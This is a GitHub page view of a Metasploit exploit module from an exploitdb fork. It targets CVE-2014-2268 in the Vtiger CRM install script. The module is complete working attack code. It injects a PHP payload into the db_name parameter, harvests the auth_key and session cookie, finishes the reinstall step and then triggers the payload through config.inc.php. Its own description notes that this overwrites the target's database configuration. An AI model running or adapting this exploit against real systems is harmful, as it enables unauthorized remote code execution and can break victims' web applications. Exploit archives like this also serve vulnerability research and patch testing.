forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path32794.rb
More file actions
executable file
·115 lines (101 loc) · 3.73 KB
/
Copy path32794.rb
File metadata and controls
executable file
·115 lines (101 loc) · 3.73 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
# Application database configuration is overwritten
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Vtiger Install Unauthenticated Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
Vtiger install script. This module is set to ManualRanking due to this
module overwriting the target database configuration, which may result in
a broken web app, and you may not be able to get a session again.
},
'Author' =>
[
'Jonathan Borgeaud < research[at]navixia.com >' # Navixia Research Team
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-2268' ],
[ 'URL', 'https://www.navixia.com/blog/entry/navixia-find-critical-vulnerabilities-in-vtiger-crm-cve-2014-2268-cve-2014-2269.html'],
[ 'URL', 'http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt9786.html'],
],
'Privileged' => false,
'Platform' => ['php'],
'Payload' =>
{
'Space' => 4000,
'BadChars' => "#",
'DisableNops' => true,
'Keys' => ['php']
},
'Arch' => ARCH_PHP,
'Targets' => [[ 'Vtiger 6.0.0 or older', { }]],
'DisclosureDate' => 'Mar 5 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Vtiger', '/'])
], self.class)
end
def exploit
print_status("Injecting payload...")
rand_arg = Rex::Text.rand_text_hex(10)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {'X-Requested-With' => rand_text_alpha(5)},
'vars_get' => {
'module' => 'Install',
'view' => 'Index',
'mode' => 'Step5',
'db_name' => "127.0.0.1'; if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } // "
}})
# Check timeout
if not res
print_error("Request timed out, please try again")
return
end
if res.body =~ /name="auth_key"\s+value=".*?((?:[a-z0-9]*))"/i
authkey = $1
phpsessid = res.get_cookies
if authkey.blank?
print_error("No AuthKey found")
return
elsif phpsessid.blank?
print_error("No PHP Session ID found")
return
end
print_status("Retrieved Authkey : #{authkey}")
print_status("Retrieved PHPSESSID : #{phpsessid}")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {'X-Requested-With' => rand_text_alpha(5)},
'cookie' => phpsessid,
'vars_get' =>
{
'module' => 'Install',
'view' => 'Index',
'mode' => 'Step7',
'auth_key' => authkey
}
})
print_status("Executing payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'config.inc.php'),
'vars_get' => { rand_arg => '1' }
})
else
print_error("No auth_key pattern found")
end
end
end